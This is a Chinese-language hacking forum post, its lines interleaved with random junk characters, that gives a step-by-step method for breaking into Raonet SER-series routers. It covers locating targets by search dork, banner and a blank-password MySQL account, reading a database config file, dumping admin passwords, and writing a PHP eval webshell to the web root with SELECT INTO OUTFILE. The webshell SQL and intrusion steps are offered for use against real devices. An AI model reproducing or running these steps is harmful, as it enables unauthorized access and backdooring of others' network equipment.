寻找存在漏洞的路由器方法:
" W/ _* o! R! S# |
( A6 ^' G4 g# ]; l @, @1:google搜索'Raonet Subscriber Ethernet Router'
+ d& G( v/ R2 ^) b0 B0 M1 Q+ e, }& v% x" h9 g2 [
2:使用WebDAVScan扫80端口,http banner为thttpd/2.21b 23apr20019 I5 U! k" q9 W' A9 A$ G
$ u7 `( C) Z8 E' a3:扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14,默认有一个高权限的帐户mysql,口令为空。
" D3 G0 E0 u2 e/ [! D) b4 q2 s. G3 c+ b) J) }9 X, E4 y
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......* A) P- e8 q; X g. S) m
; @6 n6 y- O$ ~% e% r# j. {" `
8 v g( e( U5 I
4 T* Y/ B( L5 j3 e2 D入侵步骤:( d% a2 E. ?- _( E
* \( \! K# @1 n% u: Z9 e1.爆web路径,http://www.yu1u.org/src/jpgraph_line.php8 Y9 u3 E) n8 l: x' n8 E9 | q
; Z1 R8 J3 m$ E, Y$ C$ J% i! J# e
2:查看数据库配置文件,http://www.yu1u.org/inc/conn_db.inc4 O( H6 ?6 o" W* u6 \- C
3:得到密码后连接,查看GUI管理密码: \1 J/ R }7 w/ l R
use ser_500- ]/ i j$ c+ V9 @6 W5 u/ Y4 a
select id,passwd from user;5 e3 J% `0 C. J' R& D$ s
4:通过数据库写入webshell,执行命令:5 Z9 h. |) c5 L# f" v
use mysql;: P- p t% H; A, R3 x e
create table ok(cmd TEXT);; x" X( t& ~. v0 `9 ?5 a
insert into ok values("<?php @eval($_POST[cmd])?>");; z0 c, t& d1 t. J
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";/ M* B6 ]1 r, x* V
drop table ok;
/ s4 ]! y/ r0 d2 a4 [& F
+ q' p3 d3 \7 t5:连接后门shell.php
1 Z0 } N9 x) A/ N' w ?
$ R0 N, V. }+ n M9 ~6. 搞定!
# G5 O- ^7 L2 k
$ n- a! M1 U7 A: ?6 ]2 s |